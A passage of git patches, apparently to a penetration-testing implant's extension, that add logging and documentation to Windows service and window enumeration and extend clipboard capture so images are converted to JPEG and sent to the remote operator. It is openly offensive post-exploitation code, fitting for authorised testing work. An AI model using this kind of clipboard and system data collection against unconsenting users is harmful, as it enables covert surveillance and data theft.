%s", cpName); + dprintf("[EXTAPI SERVICE] Adding Name: %s", cpName); entries[0].header.type = TLV_TYPE_EXT_SERVICE_ENUM_NAME; entries[0].header.length = (DWORD)strlen(cpName) + 1; entries[0].buffer = (PUCHAR)cpName; - dprintf("Adding Display Name: %s", cpDisplayName); + dprintf("[EXTAPI SERVICE] Adding Display Name: %s", cpDisplayName); entries[1].header.type = TLV_TYPE_EXT_SERVICE_ENUM_DISPLAYNAME; entries[1].header.length = (DWORD)strlen(cpDisplayName) + 1; entries[1].buffer = (PUCHAR)cpDisplayName; - dprintf("Adding PID: %u", dwProcessId); + dprintf("[EXTAPI SERVICE] Adding PID: %u", dwProcessId); dwProcessId = htonl(dwProcessId); entries[2].header.type = TLV_TYPE_EXT_SERVICE_ENUM_PID; entries[2].header.length = sizeof(DWORD); entries[2].buffer = (PUCHAR)&dwProcessId; - dprintf("Adding Status: %u", dwStatus); + dprintf("[EXTAPI SERVICE] Adding Status: %u", dwStatus); dwStatus = htonl(dwStatus); entries[3].header.type = TLV_TYPE_EXT_SERVICE_ENUM_STATUS; entries[3].header.length = sizeof(DWORD); entries[3].buffer = (PUCHAR)&dwStatus; - dprintf("Adding Status: %s", (bInteractive ? "TRUE" : "FALSE")); + dprintf("[EXTAPI SERVICE] Adding Status: %s", (bInteractive ? "TRUE" : "FALSE")); entries[4].header.type = TLV_TYPE_EXT_SERVICE_ENUM_INTERACTIVE; entries[4].header.length = sizeof(BOOL); entries[4].buffer = (PUCHAR)&bInteractive; - dprintf("Adding group to response"); + dprintf("[EXTAPI SERVICE] Adding group to response"); packet_add_tlv_group(pResponse, TLV_TYPE_EXT_SERVICE_ENUM_GROUP, entries, 5); } +/*! + * @brief Query the configuration of the given service. + * @details On successful query the results of the query are added to the response. + * @param hAdvapi32 Handle to the advapi32.dll. + * @param scService Service handle referencing the service to query. + * @param pResponse Pointer to the response \c Packet to add the result to. + * @returns Indication of success or failure. + * @retval ERROR_SUCCESS The service configuration query succeeded. + */ DWORD get_service_config(HMODULE hAdvapi32, SC_HANDLE scService, Packet *pResponse) { DWORD dwResult = ERROR_SUCCESS; @@ -297,23 +351,23 @@ DWORD get_service_config(HMODULE hAdvapi32, SC_HANDLE scService, Packet *pRespon do { - dprintf("Searching for QueryServiceConfigA"); + dprintf("[EXTAPI SERVICE] Searching for QueryServiceConfigA"); if ((pQueryServiceConfigA = (PQUERYSERVICECONFIGA)GetProcAddress(hAdvapi32, "QueryServiceConfigA")) == NULL) - BREAK_ON_ERROR("Unable to locate QueryServiceConfigA in advapi32.dll."); + BREAK_ON_ERROR("[EXTAPI SERVICE] Unable to locate QueryServiceConfigA in advapi32.dll."); if (pQueryServiceConfigA(scService, NULL, 0, &cbBytesNeeded)) - BREAK_ON_ERROR("This query should have failed"); + BREAK_ON_ERROR("[EXTAPI SERVICE] This query should have failed"); if (GetLastError() != ERROR_INSUFFICIENT_BUFFER) - BREAK_ON_ERROR("Unexpected error from QueryServiceConfigA"); + BREAK_ON_ERROR("[EXTAPI SERVICE] Unexpected error from QueryServiceConfigA"); if ((lpServiceConfig = (LPQUERY_SERVICE_CONFIGA)malloc(cbBytesNeeded)) == NULL) - BREAK_ON_ERROR("Out of memory"); + BREAK_ON_ERROR("[EXTAPI SERVICE] Out of memory"); if (!pQueryServiceConfigA(scService, lpServiceConfig, cbBytesNeeded, &cbBytesNeeded)) - BREAK_ON_ERROR("QueryServiceConfigA failed"); + BREAK_ON_ERROR("[EXTAPI SERVICE] QueryServiceConfigA failed"); - dprintf("Start type: %u", lpServiceConfig->dwStartType); + dprintf("[EXTAPI SERVICE] Start type: %u", lpServiceConfig->dwStartType); packet_add_tlv_uint(pResponse, TLV_TYPE_EXT_SERVICE_QUERY_STARTTYPE, lpServiceConfig->dwStartType); packet_add_tlv_string(pResponse, TLV_TYPE_EXT_SERVICE_QUERY_DISPLAYNAME, lpServiceConfig->lpDisplayName); packet_add_tlv_string(pResponse, TLV_TYPE_EXT_SERVICE_QUERY_STARTNAME, lpServiceConfig->lpServiceStartName); @@ -329,6 +383,15 @@ DWORD get_service_config(HMODULE hAdvapi32, SC_HANDLE scService, Packet *pRespon return dwResult; } +/*! + * @brief Get the DACL of the specified service. + * @details On successful query the DACL string is added to the response. + * @param hAdvapi32 Handle to the advapi32.dll. + * @param scService Service handle referencing the service to query. + * @param pResponse Pointer to the response \c Packet to add the result to. + * @returns Indication of success or failure. + * @retval ERROR_SUCCESS The service configuration query succeeded. + */ DWORD get_service_dacl(HMODULE hAdvapi32, SC_HANDLE scService, Packet *pResponse) { DWORD dwResult = ERROR_SUCCESS; @@ -340,28 +403,28 @@ DWORD get_service_dacl(HMODULE hAdvapi32, SC_HANDLE scService, Packet *pResponse do { - dprintf("Searching for QueryServiceObjectSecurity"); + dprintf("[EXTAPI SERVICE] Searching for QueryServiceObjectSecurity"); if ((pQueryServiceObjectSecurity = (PQUERYSERVICEOBJECTSECURITY)GetProcAddress(hAdvapi32, "QueryServiceObjectSecurity")) == NULL) - BREAK_ON_ERROR("Unable to locate QueryServiceObjectSecurity in advapi32.dll."); + BREAK_ON_ERROR("[EXTAPI SERVICE] Unable to locate QueryServiceObjectSecurity in advapi32.dll."); - dprintf("Searching for ConvertSecurityDescriptorToStringSecurityDescriptorA"); + dprintf("[EXTAPI SERVICE] Searching for ConvertSecurityDescriptorToStringSecurityDescriptorA"); if ((pCSDTSSDA = (PCSDTSSDA)GetProcAddress(hAdvapi32, "ConvertSecurityDescriptorToStringSecurityDescriptorA")) == NULL) - BREAK_ON_ERROR("Unable to locate ConvertSecurityDescriptorToStringSecurityDescriptorA in advapi32.dll."); + BREAK_ON_ERROR("[EXTAPI SERVICE] Unable to locate ConvertSecurityDescriptorToStringSecurityDescriptorA in advapi32.dll."); if (pQueryServiceObjectSecurity(scService, DACL_SECURITY_INFORMATION, (PSECURITY_DESCRIPTOR)&pSecurityDescriptor, 0, &dwBytesNeeded)) - BREAK_ON_ERROR("Call should have failed"); + BREAK_ON_ERROR("[EXTAPI SERVICE] Call should have failed"); if (GetLastError() != ERROR_INSUFFICIENT_BUFFER) - BREAK_ON_ERROR("Unexpected error getting security"); + BREAK_ON_ERROR("[EXTAPI SERVICE] Unexpected error getting security"); if ((pSecurityDescriptor = (PSECURITY_DESCRIPTOR)malloc(dwBytesNeeded)) == NULL) - BREAK_WITH_ERROR("Out of memory", ERROR_OUTOFMEMORY); + BREAK_WITH_ERROR("[EXTAPI SERVICE] Out of memory", ERROR_OUTOFMEMORY); if (!pQueryServiceObjectSecurity(scService, DACL_SECURITY_INFORMATION, pSecurityDescriptor, dwBytesNeeded, &dwBytesNeeded)) - BREAK_ON_ERROR("Unable to query security information for DACL_SECURITY_INFORMATION"); + BREAK_ON_ERROR("[EXTAPI SERVICE] Unable to query security information for DACL_SECURITY_INFORMATION"); if (!pCSDTSSDA(pSecurityDescriptor, SDDL_REVISION_1, DACL_SECURITY_INFORMATION, &lpDaclString, NULL)) - BREAK_ON_ERROR("Unable to get DACL string"); + BREAK_ON_ERROR("[EXTAPI SERVICE] Unable to get DACL string"); packet_add_tlv_string(pResponse, TLV_TYPE_EXT_SERVICE_QUERY_DACL, lpDaclString); diff --git a/source/extensions/extapi/service.h b/source/extensions/extapi/service.h index ca75b9e..5fe5297 100644 --- a/source/extensions/extapi/service.h +++ b/source/extensions/extapi/service.h @@ -1,5 +1,5 @@ /*! - * @file service.c + * @file service.h * @brief Declarations for service management functions */ #ifndef _METERPRETER_SOURCE_EXTENSION_EXTAPI_SERVICE_H diff --git a/source/extensions/extapi/window.c b/source/extensions/extapi/window.c index f09741f..fd94901 100644 --- a/source/extensions/extapi/window.c +++ b/source/extensions/extapi/window.c @@ -29,6 +29,13 @@ typedef struct _EnumWindowsState PGETWINDOWTHREADPROCESSID pGetWindowThreadProcessId; ///< Pointer to the GetWindowThreadProcessId function. } EnumWindowsState; +/*! + * @brief Callback used during enumeration of desktop Windows. + * @hWnd Handle to the Window that was enumerated. + * @hWnd lParam State value passed in during enumeration. + * @returns Indication of whether to continue enumeration. + * This function always returns \c TRUE. + */ BOOL CALLBACK enumerate_windows_callback(HWND hWnd, LPARAM lParam) { char windowTitle[MAX_WINDOW_TITLE]; @@ -36,13 +43,13 @@ BOOL CALLBACK enumerate_windows_callback(HWND hWnd, LPARAM lParam) DWORD dwProcessId = 0; EnumWindowsState* pState = (EnumWindowsState*)lParam; - dprintf("Enumerated window %x", hWnd); + dprintf("[EXTAPI WINDOW] Enumerated window %x", hWnd); do { - dprintf("Getting window title %p", pState->pGetWindowTextA); + dprintf("[EXTAPI WINDOW] Getting window title %p", pState->pGetWindowTextA); if (pState->pGetWindowTextA(hWnd, windowTitle, MAX_WINDOW_TITLE) == 0) { - dprintf("Unable to get window title. Setting to ."); + dprintf("[EXTAPI WINDOW] Unable to get window title. Setting to ."); if (pState->bIncludeUnknown) { strncpy_s(windowTitle, MAX_WINDOW_TITLE, "", MAX_WINDOW_TITLE - 1); } @@ -51,10 +58,10 @@ BOOL CALLBACK enumerate_windows_callback(HWND hWnd, LPARAM lParam) } } - dprintf("Getting process ID %p", pState->pGetWindowThreadProcessId); + dprintf("[EXTAPI WINDOW] Getting process ID %p", pState->pGetWindowThreadProcessId); dwThreadId = pState->pGetWindowThreadProcessId(hWnd, &dwProcessId); - dprintf(" Adding enumerated response"); + dprintf("[EXTAPI WINDOW] Adding enumerated response"); add_enumerated_window(pState->pResponse, (QWORD)hWnd, windowTitle, dwProcessId); } while (0); @@ -62,6 +69,15 @@ BOOL CALLBACK enumerate_windows_callback(HWND hWnd, LPARAM lParam) } #endif +/*! + * @brief Perform enumeration of windows. + * @param response Pointer to the \c Packet which will contain the response. + * @param bIncludeUnknown Set to \c TRUE if unknown windows are to be included. + * @param parentWindow Handle to the parent window to use for enumeration. + * Set this value to \c NULL to enumerate top-level windows. + * @returns Indication success or failure. + * @remark This function is currently only supported in Windows (not POSIX). + */ DWORD enumerate_windows(Packet *response, BOOL bIncludeUnknown, QWORD parentWindow) { #ifdef _WIN32 @@ -74,30 +90,31 @@ DWORD enumerate_windows(Packet *response, BOOL bIncludeUnknown, QWORD parentWind do { - dprintf("Loading user32.dll"); + dprintf("[EXTAPI WINDOW] Loading user32.dll"); if ((hUser32 = LoadLibraryA("user32.dll")) == NULL) - BREAK_ON_ERROR("Unable to load user32.dll"); + BREAK_ON_ERROR("[EXTAPI WINDOW] Unable to load user32.dll"); - dprintf("Searching for GetWindowTextA"); + dprintf("[EXTAPI WINDOW] Searching for GetWindowTextA"); if ((state.pGetWindowTextA = (PGETWINDOWTEXA)GetProcAddress(hUser32, "GetWindowTextA")) == NULL) - BREAK_ON_ERROR("Unable to locate GetWindowTextA in user32.dll"); - dprintf("Found GetWindowTextA %p", state.pGetWindowTextA); + BREAK_ON_ERROR("[EXTAPI WINDOW] Unable to locate GetWindowTextA in user32.dll"); + dprintf("[EXTAPI WINDOW] Found GetWindowTextA %p", state.pGetWindowTextA); - dprintf("Searching for GetWindowThreadProcessId"); + dprintf("[EXTAPI WINDOW] Searching for GetWindowThreadProcessId"); if ((state.pGetWindowThreadProcessId = (PGETWINDOWTHREADPROCESSID)GetProcAddress(hUser32, "GetWindowThreadProcessId")) == NULL) - BREAK_ON_ERROR("Unable to locate GetWindowThreadProcessId in user32.dll"); - dprintf("Found GetWindowThreadProcessId %p", state.pGetWindowThreadProcessId); + BREAK_ON_ERROR("[EXTAPI WINDOW] Unable to locate GetWindowThreadProcessId in user32.dll"); + + dprintf("[EXTAPI WINDOW] Found GetWindowThreadProcessId %p", state.pGetWindowThreadProcessId); state.pResponse = response; state.bIncludeUnknown = bIncludeUnknown; - dprintf("Searching for EnumChildWindows"); + dprintf("[EXTAPI WINDOW] Searching for EnumChildWindows"); if ((pEnumChildWindows = (PENUMCHILDWINDOWS)GetProcAddress(hUser32, "EnumChildWindows")) == NULL) - BREAK_ON_ERROR("Unable to locate EnumChildWindows in user32.dll"); + BREAK_ON_ERROR("[EXTAPI WINDOW] Unable to locate EnumChildWindows in user32.dll"); - dprintf("Beginning enumeration of child windows with parent %u", parentWindow); + dprintf("[EXTAPI WINDOW] Beginning enumeration of child windows with parent %u", parentWindow); if (!pEnumChildWindows(parentWindow != 0 ? (HWND)parentWindow : NULL, (WNDENUMPROC)enumerate_windows_callback, (LPARAM)&state)) - BREAK_ON_ERROR("Failed to enumerate child windows"); + BREAK_ON_ERROR("[EXTAPI WINDOW] Failed to enumerate child windows"); dwResult = ERROR_SUCCESS; } while (0); @@ -111,6 +128,12 @@ DWORD enumerate_windows(Packet *response, BOOL bIncludeUnknown, QWORD parentWind #endif } +/*! + * @brief Handle the request for window enumeration. + * @param remote Pointer to the \c Remote making the request. + * @param packet Pointer to the request \c Packet. + * @returns Indication of success or failure. + */ DWORD request_window_enum(Remote *remote, Packet *packet) { QWORD parentWindow = 0; @@ -121,7 +144,7 @@ DWORD request_window_enum(Remote *remote, Packet *packet) do { if (!response) { - dprintf("Unable to create response packet"); + dprintf("[EXTAPI WINDOW] Unable to create response packet"); dwResult = ERROR_OUTOFMEMORY; break; } @@ -133,39 +156,46 @@ DWORD request_window_enum(Remote *remote, Packet *packet) // Extract the flag that indicates of unknown windows should be included in the output bIncludeUnknown = packet_get_tlv_value_bool(packet, TLV_TYPE_EXT_WINDOW_ENUM_INCLUDEUNKNOWN); - dprintf("Beginning window enumeration"); + dprintf("[EXTAPI WINDOW] Beginning window enumeration"); dwResult = enumerate_windows(response, bIncludeUnknown, parentWindow); } while (0); - dprintf("Transmitting response back to caller."); + dprintf("[EXTAPI WINDOW] Transmitting response back to caller."); if (response) packet_transmit_response(dwResult, remote, response); return dwResult; } +/*! + * @brief Add an enumerated window to the response. + * @param pResponse Pointer to the \c Response to add the window detail to. + * @param qwHandle Handle to the window that was found/enumerated/ + * @param cpWindowTitle Title of the window. + * @param dwProcessId ID of the process that the Window belongs to. + */ VOID add_enumerated_window(Packet *pResponse, QWORD qwHandle, const char* cpWindowTitle, DWORD dwProcessId) { Tlv entries[4] = { 0 }; - dprintf("Adding PID: %u", dwProcessId); + dprintf("[EXTAPI WINDOW] Adding PID: %u", dwProcessId); dwProcessId = htonl(dwProcessId); entries[0].header.type = TLV_TYPE_EXT_WINDOW_ENUM_PID; entries[0].header.length = sizeof(DWORD); entries[0].buffer = (PUCHAR)&dwProcessId; - dprintf("Adding Handle: %p", qwHandle); + dprintf("[EXTAPI WINDOW] Adding Handle: %p", qwHandle); qwHandle = htonq(qwHandle); entries[1].header.type = TLV_TYPE_EXT_WINDOW_ENUM_HANDLE; entries[1].header.length = sizeof(QWORD); entries[1].buffer = (PUCHAR)&qwHandle; - dprintf("Adding title: %s", cpWindowTitle); + dprintf("[EXTAPI WINDOW] Adding title: %s", cpWindowTitle); entries[2].header.type = TLV_TYPE_EXT_WINDOW_ENUM_TITLE; entries[2].header.length = (DWORD)strlen(cpWindowTitle) + 1; entries[2].buffer = (PUCHAR)cpWindowTitle; - dprintf("Adding group to response"); + dprintf("[EXTAPI WINDOW] Adding group to response"); packet_add_tlv_group(pResponse, TLV_TYPE_EXT_WINDOW_ENUM_GROUP, entries, 3); } From f5298bac9edcc87ca400bb1b62c853efdbd0f625 Mon Sep 17 00:00:00 2001 From: OJ Date: Sat, 2 Nov 2013 23:05:02 +1000 Subject: [PATCH 13/20] Add support for optional image download Change includes fixes which allow for images to be downloaded optionally. The user can specify -d to get the image. Image dimensions are shown as well. --- source/extensions/extapi/clipboard.c | 60 +++++++++++++++++++++++----- source/extensions/extapi/extapi.h | 8 +++- 2 files changed, 56 insertions(+), 12 deletions(-) diff --git a/source/extensions/extapi/clipboard.c b/source/extensions/extapi/clipboard.c index c653d55..60bc227 100644 --- a/source/extensions/extapi/clipboard.c +++ b/source/extensions/extapi/clipboard.c @@ -97,7 +97,10 @@ DWORD request_clipboard_get_data(Remote *remote, Packet *packet) LARGE_INTEGER largeInt = { 0 }; LPBITMAPINFO lpBI = NULL; ConvertedImage image; - + BOOL bImageDownload = FALSE; + DWORD dwWidth; + DWORD dwHeight; + Tlv imageTlv[3]; Packet *pResponse = packet_create_response(packet); @@ -157,27 +160,62 @@ DWORD request_clipboard_get_data(Remote *remote, Packet *packet) } } else if (uFormat == CF_DIB) { - // an image of some kind is on the clipboard dprintf("[EXTAPI CLIPBOARD] Grabbing the clipboard bitmap data"); + // an image of some kind is on the clipboard if ((hClipboardData = pGetClipboardData(CF_DIB)) != NULL && (lpBI = (LPBITMAPINFO)pGlobalLock(hClipboardData)) != NULL) { - // TODO: add the ability to encode with multiple encoders and return the smallest image. - if (convert_to_jpg(lpBI, (LPVOID)(lpBI + 1), 100, &image) == ERROR_SUCCESS) { + dprintf("[EXTAPI CLIPBOARD] CF_DIB grabbed, extracting dimensions."); + + // grab the bitmap image size + dwWidth = htonl(lpBI->bmiHeader.biWidth); + dwHeight = htonl(lpBI->bmiHeader.biHeight); + + imageTlv[0].header.type = TLV_TYPE_EXT_CLIPBOARD_TYPE_IMAGE_JPG_DIMX; + imageTlv[0].header.length = sizeof(UINT); + imageTlv[0].buffer = (PUCHAR)&dwWidth; + imageTlv[1].header.type = TLV_TYPE_EXT_CLIPBOARD_TYPE_IMAGE_JPG_DIMY; + imageTlv[1].header.length = sizeof(UINT); + imageTlv[1].buffer = (PUCHAR)&dwHeight; + + // only download the image if they want it + bImageDownload = packet_get_tlv_value_bool(packet, TLV_TYPE_EXT_CLIPBOARD_DOWNLOAD); + dprintf("[EXTAPI CLIPBOARD] Image is %dx%d and %s be downloaded", lpBI->bmiHeader.biWidth, lpBI->bmiHeader.biHeight, + bImageDownload ? "WILL" : "will NOT"); - dprintf("[EXTAPI CLIPBOARD] Clipboard bitmap captured to image: %p, Size: %u bytes", image.pImageBuffer, image.dwImageBufferSize); - packet_add_tlv_raw(pResponse, TLV_TYPE_EXT_CLIPBOARD_TYPE_JPG, image.pImageBuffer, image.dwImageBufferSize); + if (!bImageDownload) { + packet_add_tlv_group(pResponse, TLV_TYPE_EXT_CLIPBOARD_TYPE_IMAGE_JPG, imageTlv, 2); + } + else { + // TODO: add the ability to encode with multiple encoders and return the smallest image. + if (convert_to_jpg(lpBI, (LPVOID)(lpBI + 1), 100, &image) == ERROR_SUCCESS) { + + dprintf("[EXTAPI CLIPBOARD] Clipboard bitmap captured to image: %p, Size: %u bytes", image.pImageBuffer, image.dwImageBufferSize); + imageTlv[2].header.type = TLV_TYPE_EXT_CLIPBOARD_TYPE_IMAGE_JPG_DATA; + imageTlv[2].header.length = image.dwImageBufferSize; + imageTlv[2].buffer = (PUCHAR)image.pImageBuffer; + + packet_add_tlv_group(pResponse, TLV_TYPE_EXT_CLIPBOARD_TYPE_IMAGE_JPG, imageTlv, 3); - // Just leaving this in for debugging purposes later on - //hSourceFile = CreateFileA("C:\\temp\\foo.jpg", GENERIC_WRITE, 0, NULL, CREATE_ALWAYS, FILE_ATTRIBUTE_NORMAL, NULL); - //WriteFile(hSourceFile, image.pImageBuffer, image.dwImageBufferSize, &largeInt.LowPart, NULL); - //CloseHandle(hSourceFile); + // Just leaving this in for debugging purposes later on + //hSourceFile = CreateFileA("C:\\temp\\foo.jpg", GENERIC_WRITE, 0, NULL, CREATE_ALWAYS, FILE_ATTRIBUTE_NORMAL, NULL); + //WriteFile(hSourceFile, image.pImageBuffer, image.dwImageBufferSize, &largeInt.LowPart, NULL); + //CloseHandle(hSourceFile); - free(image.pImageBuffer); + free(image.pImageBuffer); + } + else { + dwResult = GetLastError(); + dprintf("[EXTAPI CLIPBOARD] Failed to convert clipboard image to JPG"); + } } pGlobalUnlock(hClipboardData); } + else { + dwResult = GetLastError(); + dprintf("[EXTAPI CLIPBOARD] Failed to get access to the CF_DIB information"); + } } else if (uFormat == CF_HDROP) { // there's one or more files on the clipboard diff --git a/source/extensions/extapi/extapi.h b/source/extensions/extapi/extapi.h index 986943e..6c75181 100644 --- a/source/extensions/extapi/extapi.h +++ b/source/extensions/extapi/extapi.h @@ -30,10 +30,16 @@ #define TLV_TYPE_EXT_SERVICE_QUERY_INTERACTIVE MAKE_CUSTOM_TLV(TLV_META_TYPE_BOOL, TLV_TYPE_EXTENSION_EXTAPI, TLV_EXTENSIONS + 25) #define TLV_TYPE_EXT_SERVICE_QUERY_DACL MAKE_CUSTOM_TLV(TLV_META_TYPE_STRING, TLV_TYPE_EXTENSION_EXTAPI, TLV_EXTENSIONS + 26) +#define TLV_TYPE_EXT_CLIPBOARD_DOWNLOAD MAKE_CUSTOM_TLV(TLV_META_TYPE_BOOL, TLV_TYPE_EXTENSION_EXTAPI, TLV_EXTENSIONS + 35) + #define TLV_TYPE_EXT_CLIPBOARD_TYPE_TEXT MAKE_CUSTOM_TLV(TLV_META_TYPE_STRING, TLV_TYPE_EXTENSION_EXTAPI, TLV_EXTENSIONS + 40) #define TLV_TYPE_EXT_CLIPBOARD_TYPE_FILE MAKE_CUSTOM_TLV(TLV_META_TYPE_GROUP, TLV_TYPE_EXTENSION_EXTAPI, TLV_EXTENSIONS + 41) #define TLV_TYPE_EXT_CLIPBOARD_TYPE_FILE_NAME MAKE_CUSTOM_TLV(TLV_META_TYPE_STRING, TLV_TYPE_EXTENSION_EXTAPI, TLV_EXTENSIONS + 42) #define TLV_TYPE_EXT_CLIPBOARD_TYPE_FILE_SIZE MAKE_CUSTOM_TLV(TLV_META_TYPE_QWORD, TLV_TYPE_EXTENSION_EXTAPI, TLV_EXTENSIONS + 43) -#define TLV_TYPE_EXT_CLIPBOARD_TYPE_JPG MAKE_CUSTOM_TLV(TLV_META_TYPE_RAW, TLV_TYPE_EXTENSION_EXTAPI, TLV_EXTENSIONS + 44) + +#define TLV_TYPE_EXT_CLIPBOARD_TYPE_IMAGE_JPG MAKE_CUSTOM_TLV(TLV_META_TYPE_GROUP, TLV_TYPE_EXTENSION_EXTAPI, TLV_EXTENSIONS + 45) +#define TLV_TYPE_EXT_CLIPBOARD_TYPE_IMAGE_JPG_DIMX MAKE_CUSTOM_TLV(TLV_META_TYPE_UINT, TLV_TYPE_EXTENSION_EXTAPI, TLV_EXTENSIONS + 46) +#define TLV_TYPE_EXT_CLIPBOARD_TYPE_IMAGE_JPG_DIMY MAKE_CUSTOM_TLV(TLV_META_TYPE_UINT, TLV_TYPE_EXTENSION_EXTAPI, TLV_EXTENSIONS + 47) +#define TLV_TYPE_EXT_CLIPBOARD_TYPE_IMAGE_JPG_DATA MAKE_CUSTOM_TLV(TLV_META_TYPE_RAW, TLV_TYPE_EXTENSION_EXTAPI, TLV_EXTENSIONS + 48) #endif From 526ec14ff7fc0fbd21b7b3fdcfc42e59d443fa31 Mon Sep 17 00:00:00 2001 From: OJ Date: Sun, 3 Nov 2013 11:09:51 +1000 Subject: [PATCH 14/20] Proper DIB offset calculation This fixes the issue where the calculation for the offset of the image data was incorrect. Instead of just looking at the first byte past the end of the BITMAPINFOHEADER we now correctly calculate the offset past the color palette and begin reading the image there. This stops the problems where sometimes the image looked like it had been shifted, or other cases where the image colors went retro. --- source/extensions/extapi/clipboard.c | 5 ++- source/extensions/extapi/clipboard_image.cpp | 38 ++++++++++++++++++++ source/extensions/extapi/clipboard_image.h | 1 + 3 files changed, 43 insertions(+), 1 deletion(-) diff --git a/source/extensions/extapi/clipboard.c b/source/extensions/extapi/clipboard.c index 60bc227..a841251 100644 --- a/source/extensions/extapi/clipboard.c +++ b/source/extensions/extapi/clipboard.c @@ -96,6 +96,7 @@ DWORD request_clipboard_get_data(Remote *remote, Packet *packet) Tlv entries[2] = { 0 }; LARGE_INTEGER largeInt = { 0 }; LPBITMAPINFO lpBI = NULL; + PUCHAR lpDIB = NULL; ConvertedImage image; BOOL bImageDownload = FALSE; DWORD dwWidth; @@ -187,8 +188,10 @@ DWORD request_clipboard_get_data(Remote *remote, Packet *packet) packet_add_tlv_group(pResponse, TLV_TYPE_EXT_CLIPBOARD_TYPE_IMAGE_JPG, imageTlv, 2); } else { + lpDIB = ((PUCHAR)lpBI) + get_bitmapinfo_size(lpBI, TRUE); + // TODO: add the ability to encode with multiple encoders and return the smallest image. - if (convert_to_jpg(lpBI, (LPVOID)(lpBI + 1), 100, &image) == ERROR_SUCCESS) { + if (convert_to_jpg(lpBI, lpDIB, 75, &image) == ERROR_SUCCESS) { dprintf("[EXTAPI CLIPBOARD] Clipboard bitmap captured to image: %p, Size: %u bytes", image.pImageBuffer, image.dwImageBufferSize); imageTlv[2].header.type = TLV_TYPE_EXT_CLIPBOARD_TYPE_IMAGE_JPG_DATA; diff --git a/source/extensions/extapi/clipboard_image.cpp b/source/extensions/extapi/clipboard_image.cpp index 428baab..7b7978a 100644 --- a/source/extensions/extapi/clipboard_image.cpp +++ b/source/extensions/extapi/clipboard_image.cpp @@ -64,6 +64,44 @@ DWORD get_encoder_clsid(WCHAR *mimeType, CLSID * pClsId) extern "C" { +/*! + * @brief Calculate the size of the specified bitmap information header. + * @param lpBI Pointer to the \cBITMAPINFO structure that contains the detail of the bitmap. + * In the case of the clipboard, this is the CF_DIB data. + * @param bRGB Set to \c TRUE if the colors are in RBG format, \c FALSE otherwise. + * @remark This function is necessary due to the fact that the information + * stored on the clipboard can't be handled properly unless we know + * where in memory the DIB bits are. + * @returns The size of the bitmap information header. + */ +DWORD get_bitmapinfo_size(const LPBITMAPINFO lpBI, BOOL bRGB) +{ + DWORD dwColors, dwSize; + + if (lpBI->bmiHeader.biSize == sizeof(BITMAPCOREHEADER)) { + const BITMAPCOREHEADER* core = (const BITMAPCOREHEADER*)lpBI; + + dwColors = core->bcBitCount <= 8 + ? 1 << core->bcBitCount + : 0; + + dwSize = sizeof(BITMAPCOREHEADER); + } + else { + dwColors = lpBI->bmiHeader.biClrUsed; + + if (!dwColors && lpBI->bmiHeader.biBitCount <= 8) { + dwColors = 1 << lpBI->bmiHeader.biBitCount; + } + + dwSize = max(lpBI->bmiHeader.biSize, + (lpBI->bmiHeader.biCompression == BI_BITFIELDS ? 3 : 0) + * sizeof(DWORD)+sizeof(BITMAPINFOHEADER)); + } + + return dwSize + dwColors * (bRGB ? sizeof(RGBTRIPLE) : sizeof(WORD)); +} + /*! * @brief Convert the given bitmap data into a JPEG image of the specified quality. * @param lpBI Pointer to the \cBITMAPINFO structure that contains the detail of the bitmap. diff --git a/source/extensions/extapi/clipboard_image.h b/source/extensions/extapi/clipboard_image.h index 256cf8b..75550fc 100644 --- a/source/extensions/extapi/clipboard_image.h +++ b/source/extensions/extapi/clipboard_image.h @@ -20,6 +20,7 @@ typedef struct _ConvertedImage DWORD dwImageBufferSize; } ConvertedImage; +DWORD get_bitmapinfo_size(const LPBITMAPINFO lpBI, BOOL bRGB); DWORD convert_to_jpg(const LPBITMAPINFO lpBI, const LPVOID lpDIB, ULONG ulQuality, ConvertedImage* pImage); #endif From 2e9f520d004cc06b7b753a93ed0c98f5a36624a4 Mon Sep 17 00:00:00 2001 From: OJ Date: Wed, 6 Nov 2013 19:44:10 +1000 Subject: [PATCH 15/20] Remove final warning from the build --- .../ext_server_extapi.vcxproj | 24 +++++++------------ 1 file changed, 8 insertions(+), 16 deletions(-) diff --git a/workspace/ext_server_extapi/ext_server_extapi.vcxproj b/workspace/ext_server_extapi/ext_server_extapi.vcxproj index 4b1c159..47f1c5c 100644 --- a/workspace/ext_server_extapi/ext_server_extapi.vcxproj +++ b/workspace/ext_server_extapi/ext_server_extapi.vcxproj @@ -148,7 +148,7 @@ MachineX86 - editbin.exe /OSVERSION:5.0 /SUBSYSTEM:WINDOWS,4.0 "$(TargetDir)$(TargetFileName)" + editbin.exe /OSVERSION:5.0 /SUBSYSTEM:WINDOWS,4.0 "$(TargetDir)$(TargetFileName)" > NUL IF EXIST "$(ProjectDir)..\..\output\$(PlatformShortName)\Debug\" GOTO COPY mkdir "$(ProjectDir)..\..\output\$(PlatformShortName)\Debug\" :COPY @@ -176,7 +176,7 @@ copy /y "$(TargetDir)$(TargetFileName)" "$(ProjectDir)..\..\output\$(PlatformSho MachineX86 - editbin.exe /OSVERSION:5.0 /SUBSYSTEM:WINDOWS,4.0 "$(TargetDir)$(TargetFileName)" + editbin.exe /OSVERSION:5.0 /SUBSYSTEM:WINDOWS,4.0 "$(TargetDir)$(TargetFileName)" > NUL IF EXIST "$(ProjectDir)..\..\output\$(PlatformShortName)\Debug\" GOTO COPY mkdir "$(ProjectDir)..\..\output\$(PlatformShortName)\Debug\" :COPY @@ -209,7 +209,7 @@ copy /y "$(TargetDir)$(TargetFileName)" "$(ProjectDir)..\..\output\$(PlatformSho MachineX64 - editbin.exe /OSVERSION:5.0 /SUBSYSTEM:WINDOWS,4.0 "$(TargetDir)$(TargetFileName)" + editbin.exe /OSVERSION:5.0 /SUBSYSTEM:WINDOWS,4.0 "$(TargetDir)$(TargetFileName)" > NUL IF EXIST "$(ProjectDir)..\..\output\$(PlatformShortName)\Debug\" GOTO COPY mkdir "$(ProjectDir)..\..\output\$(PlatformShortName)\Debug\" :COPY @@ -243,7 +243,7 @@ copy /y "$(TargetDir)$(TargetFileName)" "$(ProjectDir)..\..\output\$(PlatformSho MachineX64 - editbin.exe /OSVERSION:5.0 /SUBSYSTEM:WINDOWS,4.0 "$(TargetDir)$(TargetFileName)" + editbin.exe /OSVERSION:5.0 /SUBSYSTEM:WINDOWS,4.0 "$(TargetDir)$(TargetFileName)" > NUL IF EXIST "$(ProjectDir)..\..\output\$(PlatformShortName)\Debug\" GOTO COPY mkdir "$(ProjectDir)..\..\output\$(PlatformShortName)\Debug\" :COPY @@ -290,11 +290,9 @@ copy /y "$(TargetDir)$(TargetFileName)" "$(ProjectDir)..\..\output\$(PlatformSho $(OutDir)\ext_server_extapi.lib MachineX86 false - - - editbin.exe /OSVERSION:5.0 